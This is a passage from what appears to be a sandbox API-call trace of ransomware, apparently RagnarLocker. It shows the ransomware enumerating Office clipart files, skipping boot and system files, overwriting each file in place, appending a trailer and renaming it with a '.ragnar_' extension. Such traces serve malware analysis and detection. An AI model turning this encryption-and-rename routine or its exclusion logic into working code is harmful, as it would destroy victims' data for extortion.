nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.684] GetProcessHeap () returned 0x580000 [0092.684] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.684] CloseHandle (hObject=0xf4) returned 1 [0092.684] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" [0092.684] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.ragnar_FD7BD9FC" [0092.684] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.685] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1 [0092.685] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.685] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00232_.WMF" | out: lpString1="TR00232_.WMF") returned="TR00232_.WMF" [0092.685] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF") returned=".WMF" [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="autorun.inf") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="boot.ini") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="bootfont.bin") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="bootsect.bak") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="bootmgr") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="bootmgr.efi") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="desktop.ini") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="iconcache.db") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="ntldr") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="ntuser.dat") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="ntuser.ini") returned 1 [0092.685] lstrcmpiW (lpString1="TR00232_.WMF", lpString2="thumbs.db") returned 1 [0092.685] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.685] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.685] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.685] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.685] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.685] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.685] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf")) returned 0x20 [0092.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.686] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27840) returned 1 [0092.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.686] GetProcessHeap () returned 0x580000 [0092.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.686] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.688] VirtualAlloc (lpAddress=0x0, dwSize=0x6cc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.688] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6cc0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6cc0, lpOverlapped=0x0) returned 1 [0092.689] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.689] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6cc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.690] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6cc0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6cc0, lpOverlapped=0x0) returned 1 [0092.690] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6cc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.690] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.690] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.690] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.690] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.690] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.690] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.690] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.690] GetProcessHeap () returned 0x580000 [0092.690] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.690] CloseHandle (hObject=0xf4) returned 1 [0092.691] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" [0092.691] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.ragnar_FD7BD9FC" [0092.691] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.691] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1 [0092.691] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.691] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00233_.WMF" | out: lpString1="TR00233_.WMF") returned="TR00233_.WMF" [0092.691] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF") returned=".WMF" [0092.691] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.691] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="autorun.inf") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="boot.ini") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="bootfont.bin") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="bootsect.bak") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="bootmgr") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="bootmgr.efi") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="desktop.ini") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="iconcache.db") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="ntldr") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="ntuser.dat") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="ntuser.ini") returned 1 [0092.692] lstrcmpiW (lpString1="TR00233_.WMF", lpString2="thumbs.db") returned 1 [0092.692] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.692] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.692] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.692] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.692] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.692] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.692] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf")) returned 0x20 [0092.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.693] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31818) returned 1 [0092.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.693] GetProcessHeap () returned 0x580000 [0092.693] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.693] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.695] VirtualAlloc (lpAddress=0x0, dwSize=0x7c4a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.695] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c4a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c4a, lpOverlapped=0x0) returned 1 [0092.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c4a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.697] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c4a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c4a, lpOverlapped=0x0) returned 1 [0092.697] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c4a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.697] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.698] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.698] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.698] GetProcessHeap () returned 0x580000 [0092.698] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.698] CloseHandle (hObject=0xf4) returned 1 [0092.698] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" [0092.698] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.ragnar_FD7BD9FC" [0092.698] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.699] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1 [0092.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.699] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00402_.WMF" | out: lpString1="TR00402_.WMF") returned="TR00402_.WMF" [0092.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF") returned=".WMF" [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="autorun.inf") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="boot.ini") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="bootfont.bin") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="bootsect.bak") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="bootmgr") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="bootmgr.efi") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="desktop.ini") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="iconcache.db") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="ntldr") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="ntuser.dat") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="ntuser.ini") returned 1 [0092.699] lstrcmpiW (lpString1="TR00402_.WMF", lpString2="thumbs.db") returned 1 [0092.699] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.699] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.699] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.699] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.699] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.699] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.699] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf")) returned 0x20 [0092.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.700] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2272) returned 1 [0092.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.700] GetProcessHeap () returned 0x580000 [0092.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.700] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.702] VirtualAlloc (lpAddress=0x0, dwSize=0x8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.702] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8e0, lpOverlapped=0x0) returned 1 [0092.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.702] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.702] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8e0, lpOverlapped=0x0) returned 1 [0092.703] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.703] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.703] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.703] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.703] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.703] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.703] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.703] GetProcessHeap () returned 0x580000 [0092.703] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.703] CloseHandle (hObject=0xf4) returned 1 [0092.703] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" [0092.703] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program 